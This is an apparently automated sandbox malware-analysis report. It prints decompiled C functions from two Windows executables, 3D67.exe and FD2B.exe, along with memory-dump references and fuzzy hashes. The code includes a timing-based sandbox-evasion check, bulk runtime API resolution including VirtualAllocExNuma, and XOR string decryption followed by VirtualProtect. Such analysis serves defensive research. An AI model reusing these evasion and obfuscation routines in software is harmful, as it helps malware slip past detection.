__getptd.LIBCMT ref: 0040AFC0
__amsg_exit.LIBCMT ref: 0040AFCE
__lock.LIBCMT ref: 0040AFDE

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: c900202cb33434907f216711d8e934543722d192750c9bbe70e1a3892a07bce9
Instruction ID: 13768cda122a8042fed1aee241c8fdfb0afa4d82ec90388619534e3fe1732dba
Opcode Fuzzy Hash: c900202cb33434907f216711d8e934543722d192750c9bbe70e1a3892a07bce9
Instruction Fuzzy Hash: 77F06DB29047018AD722BB76C40675A32A1AF40718F10813FF554773D2DB7CA842DBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00409338, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00409338(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E004036D9(__ebx, __edx, __edi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E00407D3A(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E00407D3A(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E004036B2(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E004090D0(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x00409338
0x00409338
0x00409338
0x00409338
0x00409338
0x0040933b
0x00409341
0x0040934f
0x00409355
0x0040935d
0x00409369
0x00409371
0x00409379
0x0040938d
0x0040938f
0x00409393
0x00409398
0x0040939e
0x004093a0
0x004093a2
0x004093a5
0x00000000
0x004093ac
0x004093a0
0x00409393
0x0040938d
0x00409379
0x004093ad

APIs

Part of subcall function 004036D9: __getptd.LIBCMT ref: 004036DF
Part of subcall function 004036D9: __getptd.LIBCMT ref: 004036EF

__getptd.LIBCMT ref: 00409347

Part of subcall function 00407D3A: __getptd_noexit.LIBCMT ref: 00407D3D
Part of subcall function 00407D3A: __amsg_exit.LIBCMT ref: 00407D4A

__getptd.LIBCMT ref: 00409355

Strings

csm, xrefs: 00409363

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: cb8721f006335f0d965b5e949dac83853dc37aeaf957dce9d60ee321be23e131
Instruction ID: 090993fbbd1fbd2d20bf824a718441057450ab7675eb2b4fe185a257fe57a93d
Opcode Fuzzy Hash: cb8721f006335f0d965b5e949dac83853dc37aeaf957dce9d60ee321be23e131
Instruction Fuzzy Hash: B60116348003049ECB349E65C450AAEB7B5AF18315F54883FE891A6BD2CB3E9D91DE59

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 3D67.exe PID: 4968 Parent PID: 5276 3D67.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000001C.00000002.385844298.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_3D67.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000001C.00000002.385844298.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_3D67.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000001C.00000002.385844298.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_3D67.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: FD2B.exe PID: 468 Parent PID: 3472 FD2B.exeCOMMON

Executed Functions

Function 0040C2E0, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x470c38
					_t30 =  *0x41aa64; // 0x75130000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x470bc0
					_t8 =  *0x41aa64; // 0x75130000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x470cc8
					_t41 =  *0x41aa64; // 0x75130000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x46f5d0
					_t32 =  *0x41aa64; // 0x75130000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x46a7a8
					_t13 =  *0x41aa64; // 0x75130000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x470c08
					_t43 =  *0x41aa64; // 0x75130000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x470b78
					_t34 =  *0x41aa64; // 0x75130000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x470d28
					_t18 =  *0x41aa64; // 0x75130000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x470db8
					_t45 =  *0x41aa64; // 0x75130000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x470cf8
					_t36 =  *0x41aa64; // 0x75130000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x46aa28
					_t23 =  *0x41aa64; // 0x75130000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x46aa48
					_t47 =  *0x41aa64; // 0x75130000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x75130000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x470d40
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t2 = LoadLibraryA( *0x41a658); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x470c98
					_t29 =  *0x41a854; // 0x75530000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x46aa68
					_t3 =  *0x41a934; // 0x77730000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(75130000,00470CC8), ref: 0040C332
GetProcAddress.KERNEL32(75130000,0046F5D0), ref: 0040C34A
GetProcAddress.KERNEL32(75130000,0046A7A8), ref: 0040C362
GetProcAddress.KERNEL32(75130000,00470C08), ref: 0040C37B
GetProcAddress.KERNEL32(75130000,00470B78), ref: 0040C393
GetProcAddress.KERNEL32(75130000,00470D28), ref: 0040C3AB
GetProcAddress.KERNEL32(75130000,00470DB8), ref: 0040C3C4
GetProcAddress.KERNEL32(75130000,00470CF8), ref: 0040C3DC
GetProcAddress.KERNEL32(75130000,0046AA28), ref: 0040C3F4
GetProcAddress.KERNEL32(75130000,0046AA48), ref: 0040C40D
GetProcAddress.KERNEL32(75130000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNELBASE(00470D40,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00470DA0,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(75530000,00470C98), ref: 0040C468
GetProcAddress.KERNEL32(77730000,0046AA68), ref: 0040C489

Strings

(G, xrefs: 0040C39E
VirtualAllocExNuma, xrefs: 0040C418
@G, xrefs: 0040C42E

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (G$@G$VirtualAllocExNuma
API String ID: 2238633743-662047484
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 350.9, APIs: 144, Strings: 56, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x4874f8
					_t273 =  *0x41aa64; // 0x75130000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x487528
					_t130 =  *0x41aa64; // 0x75130000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x484bb8
					_t363 =  *0x41aa64; // 0x75130000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x487630
					_t275 =  *0x41aa64; // 0x75130000
